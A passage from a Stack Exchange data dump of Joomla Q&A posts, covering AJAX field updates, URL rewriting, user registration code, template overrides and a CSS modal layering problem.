  <row Id="24377" PostTypeId="2" ParentId="24369" CreationDate="2019-03-15T03:07:05.850" Score="0" Body="&lt;p&gt;If I understand what you are trying to accomplish the easy way to do this would be with a bit of jQuery and an ajax call. Add a method to one of your controller files that returns the value of the owner field. Post the id of the person/business filed to that controller using ajax.Return the id of the owner field. Use jQuery to set the option to the appropriate value.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2019-03-15T03:07:05.850" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24378" PostTypeId="2" ParentId="24369" CreationDate="2019-03-15T09:01:07.960" Score="5" Body="&lt;p&gt;You can use JSON format in the controller directly by adding &lt;code&gt;.json&lt;/code&gt; suffix and changing &lt;code&gt;format&lt;/code&gt; in your URL to &lt;code&gt;json&lt;/code&gt;. In this case the controller would be placed in &lt;code&gt;/administrator/components/com_example/controllers/ajax.json.php&lt;/code&gt;. It's contents:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Response\JsonResponse;&#xA;&#xA;class ExampleControllerAjax extends JControllerLegacy&#xA;{&#xA;    public function getOwners()&#xA;    {&#xA;        // Check for request forgeries.&#xA;        $this-&amp;gt;checkToken();&#xA;&#xA;        // Get our stuff.&#xA;        $db = Factory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select($db-&amp;gt;quoteName(['name', 'id']))&#xA;            -&amp;gt;from($db-&amp;gt;quoteName('#__example'))&#xA;            -&amp;gt;where($db-&amp;gt;quoteName('id') . ' = ' . $this-&amp;gt;input-&amp;gt;getInt('exampleId'));&#xA;        $result = $db-&amp;gt;setQuery($query)-&amp;gt;loadObject();&#xA;&#xA;        // Output as JSON&#xA;        echo new JsonResponse($result);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the form view's layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Language\Text;&#xA;&#xA;// Add session token script.&#xA;HTMLHelper::_('behavior.core');&#xA;&#xA;// Optional AJAX error message.&#xA;Text::script('COM_EXAMPLE_AJAX_ERROR');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;AJAX script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Optional, define namespace.&#xA;Example = window.Example || {};&#xA;&#xA;Example.updateOwners = function(exampleId, field) &#xA;{&#xA;    // Get session token.&#xA;    var token = Joomla.getOptions('csrf.token');&#xA;&#xA;    // Build a selector for the field we want to update. This example is for the filter form.&#xA;    var fieldId = '#filter_' + field;&#xA;&#xA;    // Doing it this way so token can be submitted via POST&#xA;    var postData = {'exampleId' : exampleId};&#xA;    postData[token] = 1;&#xA;&#xA;    jQuery.ajax(&#xA;    {&#xA;        url:  'index.php?option=com_example&amp;amp;task=ajax.getOwners&amp;amp;format=json',&#xA;        data: postData,&#xA;        method: 'POST',&#xA;        success: function(response, status, xhr) {&#xA;&#xA;            // Clear existing value.&#xA;            jQuery(fieldId).empty();&#xA;&#xA;            // Add new value.&#xA;            jQuery('&amp;lt;option /&amp;gt;', {value: response.data.id, text: response.data.name}).appendTo(fieldId);&#xA;&#xA;            // Update chosen.&#xA;            jQuery(fieldId).trigger(&quot;liszt:updated&quot;);&#xA;        },&#xA;        error: function() { Joomla.renderMessages({&quot;warning&quot;:[(Joomla.Text._('COM_EXAMPLE_AJAX_ERROR'))]}); },&#xA;    });&#xA;&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the XML form add this to the field that triggers the event. Where &lt;code&gt;fieldToUpdate&lt;/code&gt; is the name of the field that will be updated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onchange=&quot;Example.updateOwners(this.value, 'fieldToUpdate');&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This assumes single row is expected from the database. For multiple values, change &lt;code&gt;loadObject()&lt;/code&gt; to &lt;code&gt;loadObjectList()&lt;/code&gt; in the controller and run a loop in the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.each(response.data, function(){&#xA;    jQuery('&amp;lt;option /&amp;gt;', {value: this.id, text: this.name}).appendTo(fieldId);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The plugin method.&lt;/strong&gt; If this is a 3rd party component, we can use a plugin and interact with &lt;code&gt;com_ajax&lt;/code&gt; instead. The advantage to this is that original files aren't touched at all. This allows to update the component without losing customizations. Instead of modifying the layout, the form file and adding a controller we just have one plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Form\Form;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\CMS\Session\Session;&#xA;&#xA;class PlgContentExample extends CMSPlugin&#xA;{&#xA;    protected $app;&#xA;&#xA;    protected $db;&#xA;&#xA;    public function onContentPrepareForm(Form $form, $data)&#xA;    {&#xA;        // Check that we're manipulating the correct form.&#xA;        if ($form-&amp;gt;getName() !== 'com_gscrm.Notes.form.form')&#xA;        {&#xA;            return true;&#xA;        }&#xA;&#xA;        // Run only on HTML document.&#xA;        if ($this-&amp;gt;app-&amp;gt;getDocument()-&amp;gt;getType() !== 'html')&#xA;        {&#xA;            return true;&#xA;        }&#xA;&#xA;        // Load form token script.&#xA;        HTMLHelper::_('behavior.core');&#xA;&#xA;        // Load AJAX script.&#xA;        HTMLHelper::_('script', 'plg_content_example/ajax.js', ['version' =&amp;gt; 'auto', 'relative' =&amp;gt; true]);&#xA;&#xA;        // Add error message string.&#xA;        Text::script('PLG_CONTENT_EXAMPLE_AJAX_ERROR');&#xA;&#xA;        // Add onchange attribute to the field.&#xA;        $form-&amp;gt;setFieldAttribute('type', 'onchange', 'Example.updateOwners(this.value, \'owner\');');&#xA;    }&#xA;&#xA;    public function onAjaxExample()&#xA;    {&#xA;        if (!Session::checkToken())&#xA;        {&#xA;            throw new \Exception('JINVALID_TOKEN');&#xA;        }&#xA;&#xA;        // Get our stuff.&#xA;        $query = $this-&amp;gt;db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select($this-&amp;gt;db-&amp;gt;quoteName(['name', 'id']))&#xA;            -&amp;gt;from($this-&amp;gt;db-&amp;gt;quoteName('#__example'))&#xA;            -&amp;gt;where($this-&amp;gt;db-&amp;gt;quoteName('id') . ' = ' . $this-&amp;gt;app-&amp;gt;input-&amp;gt;getInt('exampleId'));&#xA;        $result = $this-&amp;gt;db-&amp;gt;setQuery($query)-&amp;gt;loadObject();&#xA;&#xA;        return $result;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the AJAX script we need only two adjusments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Set the request URL to &lt;code&gt;com_ajax&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url:  'index.php?option=com_ajax&amp;amp;plugin=example&amp;amp;group=content&amp;amp;format=json',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) When accessing response data, use the first array element:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('&amp;lt;option /&amp;gt;', {value: response.data[0].id, text: response.data[0].name}).appendTo(fieldId);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also in this specific case the form does not have a prefix. So the ID selector is simpler:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var fieldId = '#' + field;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-03-19T06:38:24.123" LastActivityDate="2019-03-19T06:38:24.123" CommentCount="16" ContentLicense="CC BY-SA 4.0" />
  <row Id="24380" PostTypeId="2" ParentId="24366" CreationDate="2019-03-15T10:49:46.283" Score="1" Body="&lt;p&gt;looking at the Banner component the setting of the number of impressions and max. impression is at the Banner level and not the Client level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You say you had 12 people add and delete in real-time so my thoughts are the process that you have in place that allows them to do this is where you need to build the intelligence you want as the Banner component is a very simple implementation model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using your example of person 'you' who has 3 banners and is buying 33% of 1000 banners you will need them be assigned 111 impression for each of their banners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Terry&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-03-15T10:49:46.283" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24381" PostTypeId="2" ParentId="13583" CreationDate="2019-03-15T11:34:03.523" Score="0" Body="&lt;p&gt;In March 2019, this is still seemingly a problem.... A different approach might be to use your web server's (Apache/ngnix/IIS/etc) redirection to catch the &quot;standard&quot; links and redirect them to your own links. The downsides (as I see them) are:&#xA;- access to the relevant configuration files for the web server (for Apache, this can be done in the per-directory .htaccess, so long as mod_rewrite enabled)&#xA;- you have a manageable number of tags to allow you to create a destination menu item for each one (if you have 200 tags, you &lt;em&gt;could&lt;/em&gt; create menu items for each one, but who would bother?)&#xA;The Apache rewrite rules I'm using for this are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /&#xA;ReWriteRule ^component/tags/tag/([^\.]+).html$ /$1-articles [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, for each tag, I have a destination article in the format I want accessed by a menu item with the tag name and -articles (for example, tag1-articles). Sure, it's a workaround, but I have got the result I wanted given I can meet the two &quot;conditions&quot; (Apache config access and not many tags) above.&lt;/p&gt;&#xA;" OwnerUserId="4120" LastActivityDate="2019-03-15T11:34:03.523" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24383" PostTypeId="1" AcceptedAnswerId="24395" CreationDate="2019-03-16T16:24:32.740" Score="0" ViewCount="68" Body="&lt;p&gt;I'm trying to add an ID to a link created by JHTML.  Is that possible?  Here's my call, is there some way I can do a &lt;code&gt;, #myId&lt;/code&gt; as part of the below?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('icon.edit', $displayData['item'], $displayData['params']); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-03-19T08:39:41.160" Title="How can I add an ID to a JHTML call" Tags="|jhtml|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24384" PostTypeId="2" ParentId="24362" CreationDate="2019-03-17T12:22:18.520" Score="1" Body="&lt;p&gt;I found a solution that worked for me and where I had not to dig into the code and database.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Setup a new local Sytem of Joomla with the last running Joomla version (which was 3.6.1 in my case)&lt;/li&gt;&#xA;&lt;li&gt;Exported the database from the live system and imported it to my local Joomla&lt;/li&gt;&#xA;&lt;li&gt;Repaired all database failures with the Joomla autorepair function. On my local system it worked fine. &lt;/li&gt;&#xA;&lt;li&gt;Updated Joomla to the live (server) version.&lt;/li&gt;&#xA;&lt;li&gt;Copied the whole filesystem via FTP from my server and overwrite the local system.&lt;/li&gt;&#xA;&lt;li&gt;Checked for any failures &lt;/li&gt;&#xA;&lt;li&gt;Exported the database and imported it on the live system again.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All problems solved!&lt;/p&gt;&#xA;" OwnerUserId="11248" LastActivityDate="2019-03-17T12:22:18.520" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24385" PostTypeId="1" AcceptedAnswerId="24388" CreationDate="2019-03-17T18:52:44.267" Score="0" ViewCount="234" Body="&lt;p&gt;I'm creating a new user (v3.x) via a module helper function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the helper function is called via AJAX.  this all works fine.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having trouble getting the user registration to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've previously written this for a back end component and thought the code would just move across but it doesn't any help would be great:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            $data['name'] = $userName;&#xA;            $data['username'] = $userName;&#xA;            $data['email1'] = $email;&#xA;            $data['email2'] = $email1;&#xA;            $pwd = md5($password1);&#xA;            $data['password1'] = $pwd;&#xA;            $data['password2'] = $pwd;&#xA;&#xA;            $language = JFactory::getLanguage();&#xA;&#xA;            $language-&amp;gt;load('com_users', JPATH_SITE, 'en-GB', true);&#xA;&#xA;            JModelLegacy::addIncludePath(JPATH_ROOT . '/components/com_users/models');&#xA;&#xA;&#xA;            $model = JModelLegacy::getInstance('Registration', 'UsersModel');&#xA;&#xA;            $return = $model-&amp;gt;register($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12248" LastActivityDate="2019-03-22T17:43:33.310" Title="creating new user front end" Tags="|joomla-3.x|user|" AnswerCount="1" CommentCount="2" ClosedDate="2019-04-04T13:24:26.123" ContentLicense="CC BY-SA 4.0" />
  <row Id="24386" PostTypeId="2" ParentId="24369" CreationDate="2019-03-18T10:02:12.330" Score="3" Body="&lt;p&gt;This component is developed using &lt;a href=&quot;https://github.com/akeeba/fof/wiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;Akeeba FOF&lt;/a&gt;, so you need to read the documentation to know how to complete the task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost everything is configured using XML, this is to some extent of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add the onchange javascript code to the dropdown list: &lt;a href=&quot;https://github.com/akeeba/fof/wiki/XML-Form-Fields#additional-attributes-for-drop-down-list-fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/akeeba/fof/wiki/XML-Form-Fields#additional-attributes-for-drop-down-list-fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, look at the JSON view to know how to create the json response: &lt;a href=&quot;https://github.com/akeeba/fof/wiki/The-JSON-view&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/akeeba/fof/wiki/The-JSON-view&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To load a js file in this form view, use the &lt;code&gt;jsfiles&lt;/code&gt; attribute of the form xml element, so in the file components/com_gscrm/View/Notes/tmpl/form.form.xml&#xA;change the form definition to be like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form &#xA;    validate=&quot;true&quot;&#xA;    jsfiles=&quot;media://com_gscrm/js/yourfile.js&quot;&#xA;    lessfiles=&quot;media://com_gs_bootstrap337/css/gs.less||media://com_gs_bootstrap337/css/bootstrap.css&quot;&#xA;&#xA;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;make sure to replace &lt;code&gt;yourfile.js&lt;/code&gt; with the correct file name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details, look at this page: &lt;a href=&quot;https://github.com/akeeba/fof/wiki/XML-Forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/akeeba/fof/wiki/XML-Forms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be complaint with FOF, do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a folder in the admin part, name it &lt;code&gt;Controller&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create a PHP file inside it, name it &lt;code&gt;Ajax.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The file contents should look like this:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * &#xA; */&#xA;&#xA;namespace Gs\Gscrm\Admin\Controller;&#xA;use FOF30\Controller\Controller;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;class Ajax extends Controller&#xA;{&#xA;  function getOwners()&#xA;  {&#xA;      // Token check&#xA;      $this-&amp;gt;csrfProtection();&#xA;        /* insert your code to get owners in json format*/&#xA;      $this-&amp;gt;container-&amp;gt;platform-&amp;gt;closeApplication();&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Then the ajax call should look like this:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;$.get(&#xA;              'index.php',&#xA;              {&#xA;                  'option':     'com_gscrm',&#xA;                  'view':       'Ajax',&#xA;                  'format':     'json',&#xA;                  'task':       'getOwners',&#xA;                  '&amp;lt;?php echo $this-&amp;gt;container-&amp;gt;platform-&amp;gt;getToken(true) ?&amp;gt;':   1,&#xA;                  'id':    id&#xA;              },&#xA;              function (data, textStatus)&#xA;              {&#xA;                  // insert here the code to populate the owners list&#xA;              }           )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8051" LastEditorUserId="8051" LastEditDate="2019-03-19T08:35:33.207" LastActivityDate="2019-03-19T08:35:33.207" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="24387" PostTypeId="2" ParentId="24371" CreationDate="2019-03-18T10:17:15.663" Score="0" Body="&lt;p&gt;I can see your problem - and did not notice this behaviour before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know an easy setup change - but i can think of a 'quick and dirty' solution using a system plugin, set the active menu in the 'OnBeforeRender' function using the note field of the article...&#xA; like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function OnBeforeRender() {&#xA;    $app = JFactory::getApplication();&#xA;    $article_id=$app-&amp;gt;input-&amp;gt;get('id');&#xA;    $article =JTable::getInstance(&quot;content&quot;);&#xA;    $article-&amp;gt;load($article_id);&#xA;    $note = $article-&amp;gt;get('note');&#xA;    $menu = $app-&amp;gt;getMenu();&#xA;    $menu-&amp;gt;setActive($note);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HTH - Martin - write me if you need more help with the plugin&lt;/p&gt;&#xA;" OwnerUserId="13258" LastActivityDate="2019-03-18T10:17:15.663" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24388" PostTypeId="2" ParentId="24385" CreationDate="2019-03-18T11:17:28.963" Score="0" Body="&lt;p&gt;Okay so fixed the problem with this (and accounted for the MD5 issue)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            $data['name'] = $userName;&#xA;            $data['username'] = $userName;&#xA;            $data['email1'] = $email1;&#xA;            $data['email2'] = $email1;&#xA;            $data['password1'] = $pwd;&#xA;            $data['password2'] = $pwd;&#xA;&#xA;            $language = JFactory::getLanguage();&#xA;&#xA;            $language-&amp;gt;load('com_users', JPATH_SITE, 'en-GB', true);&#xA;&#xA;            JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_users/models', 'UsersModel');&#xA;&#xA;            $model = JModelLegacy::getInstance('Registration', 'UsersModel', array('ignore_request' =&amp;gt; true));&#xA;&#xA;            $return = $model-&amp;gt;register($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Okay so this wasn't just a typo!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wasn't using the api to the core correctly .  Although there was a minor typo in the email actually I also fixed the user models with the correct calls into the API to get it to work correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regards to encryption this provides Joomla encryption since it uses the Joomla Users model.  So by using the Joomla API I don't actually need to encrypt anything.  Worth pointing out that the website is SSL certificated so the password is passed to the site in an encrypted manner so exposure of the password happens in a &quot;standard&quot; way.&lt;/p&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="12248" LastEditDate="2019-03-22T17:43:33.310" LastActivityDate="2019-03-22T17:43:33.310" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24389" PostTypeId="2" ParentId="24371" CreationDate="2019-03-18T11:18:25.553" Score="0" Body="&lt;p&gt;You can use a module to present article intros from a category on the home page, and publish the articles in blog view as a component on the News page. Cliking the read-more link from the home page located article intro will lead youy to the complete article on your News page in this set-up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are loads of more specialised modules you can find on the &lt;a href=&quot;https://extensions.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Extension Directory&lt;/a&gt; that give you all sorts of possibilities as to ways of presentation for this.&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2019-03-18T11:18:25.553" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24390" PostTypeId="1" AcceptedAnswerId="24404" CreationDate="2019-03-18T17:24:41.023" Score="1" ViewCount="74" Body="&lt;p&gt;I am getting the following error on install / uninstall of my custom component:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFolder::files: Path is not a folder. Path: /var/www/joomla/administrator/components/com_mycomponent/sql/xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Creating an empty &lt;code&gt;xml&lt;/code&gt; folder quiets the error. There is nothing in my configuration xml file or anywhere else that I can see calling this folder, and no documentation anywhere I can find about why I'm getting this error. I'm hoping someone might point out what's causing it and save me digging through core code to figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the purpose of this folder? Is there something that's &lt;em&gt;supposed&lt;/em&gt; to be in it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;Here is a link to the component's &lt;a href=&quot;https://github.com/calligraphic/ca-job-board-joomla/blob/master/components/com_cajobboard/cajobboard.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;XML configuration file&lt;/a&gt;, and one to the component's &lt;a href=&quot;https://github.com/calligraphic/ca-job-board-joomla/blob/master/components/com_cajobboard/script.cajobboard.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;install script file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12558" LastEditorUserId="12558" LastEditDate="2019-03-20T20:57:04.950" LastActivityDate="2019-03-26T06:23:50.213" Title="Why JFolder::files &quot;Path is not a folder&quot; for sql/xml on component install?" Tags="|jinstaller|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24391" PostTypeId="1" AcceptedAnswerId="24393" CreationDate="2019-03-18T20:06:04.353" Score="0" ViewCount="71" Body="&lt;p&gt;so I've been asked to make a special menu for a website.I'm using the default module that is mod_menu.  The issue is I want to modify the HTML Structure to that module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I heard modify the default module isn't good practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to customize it without affecting the actual module.&#xA;I am struggling a lot on the css side because of that issue. If I could just change directly that would save me a lot of time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerDisplayName="user13380" LastActivityDate="2019-03-19T07:01:15.530" Title="Is there any one to use the mod_menu as we please? *Modifying the backend*" Tags="|joomla-3.x|php|css|jhtml|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24392" PostTypeId="2" ParentId="24391" CreationDate="2019-03-18T22:10:29.563" Score="0" Body="&lt;p&gt;Most templates give the option to add a custom css file that allows the user to override the styles of everything in the front-end. Search the documentation of your template to see how to add one and then add all your custom styles for your menu in that file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this Q/A as well, as it's relative on how to add/override the css of a Joomla site: &lt;a href=&quot;https://joomla.stackexchange.com/questions/3877/how-do-i-override-the-css-styles-in-my-template&quot;&gt;How do I override the CSS styles in my template?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note, the mod_menu has no css file in it - so I am not sure what you are struggling with.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2019-03-18T22:10:29.563" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24393" PostTypeId="2" ParentId="24391" CreationDate="2019-03-19T07:01:15.530" Score="1" Body="&lt;p&gt;To modify the HTML structure, create a template override. This can be done through Template Manager or by manually copying files through FTP. The documentation already covers this very well:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to override the output from the Joomla!&#xA;core&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides#Module_Layout_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;Understanding Output Overrides - Module Layout&#xA;Overrides&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager#Creating_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to use the Template Manager - Creating&#xA;Overrides&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-03-19T07:01:15.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24395" PostTypeId="2" ParentId="24383" CreationDate="2019-03-19T08:39:41.160" Score="1" Body="&lt;p&gt;Assuming you want to add an attribute to the resulting anchor tag, pass another argument, an array with attributes as keys and their values as values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JHtml::_('icon.edit', $displayData['item'], $displayData['params'], ['id' =&amp;gt; 'myId']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-03-19T08:39:41.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24396" PostTypeId="1" CreationDate="2019-03-20T16:16:38.220" Score="0" ViewCount="107" Body="&lt;p&gt;I'm having a bit of an issue with YJ Pop login for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the following page, when I click login in the top right, the modal pop's up no problem. However, even when the modal is hidden, it seems the container is still over the content underneath. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you attempt to click on the link 'Event 1 - March 21' next to the 'Welcome to our portal section', the link is not accessible due to the modal container. However, you can click 'Event 1 - March 28' as the modal does not cover this section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried altering some z-index values to no avail, there is also some customisations in the popup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    #login_pop, #reg_pop {&#xA;    z-index:0;&#xA;}&#xA;.modal-backdrop, .modal-backdrop.fade.in, #myModal, .modal-dialog {&#xA;    z-index:0;&#xA;}   &#xA;.login_cus .modal-dialog {&#xA;    position: absolute;&#xA;}&#xA;.login_cus .modal-dialog {&#xA;    width: 400px;&#xA;    position: fixed;&#xA;    top: 50%;&#xA;    left: 50%;&#xA;    margin: -220px 0 0 -200px;&#xA;    background:#FFFFFF;&#xA;    z-index:0;&#xA;}&#xA;.module.login .modal-dialog {&#xA;    position: absolute!important;&#xA;}&#xA;.login_cus .modal-body {&#xA;    width:85%;&#xA;}&#xA;.login_cus form {&#xA;    font-size:100%;&#xA;}&#xA;.login_cus input {&#xA;    width:80%;&#xA;    margin:auto;&#xA;}&#xA;.login_cus .modal-header {&#xA;    border: none;&#xA;}&#xA;.login_cus .modal-dialog .close {&#xA;    color: #292f38;&#xA;    font-size: 36px;&#xA;    opacity: 1;&#xA;}&#xA;.login_cus span.title {&#xA;    font-size: 20px;&#xA;    display: block;&#xA;    padding-top: 10px;&#xA;    padding-left: 14px;&#xA;}&#xA;.login_cus .modal-body {&#xA;    padding: 0 30px;&#xA;}&#xA;.login_cus.fleft.log label {&#xA;    font-weight: 300;&#xA;    font-size: 14px;&#xA;}&#xA;.login_cus.wrapper2 {&#xA;    width: 100%;&#xA;    clear: both;&#xA;}   &#xA;.button-log .Forgot {&#xA;    float: right;&#xA;    margin: -10px 0 0 0;&#xA;    padding: 0;&#xA;    list-style: none;&#xA;}&#xA;.button-log button {&#xA;    font-size:100%;&#xA;}&#xA;.create_customer {&#xA;    background: #ecf0f1;&#xA;    padding: 22px 30px;&#xA;    margin-left: -30px;&#xA;    margin-right: -30px;&#xA;    border-radius: 0 0 6px 6px;&#xA;}&#xA;.button-log {&#xA;    padding-top: 20px;&#xA;    padding-bottom: 30px;&#xA;}&#xA;.create_customer span {&#xA;    font-size: 20px;&#xA;    display: inline-block;&#xA;    padding-right: 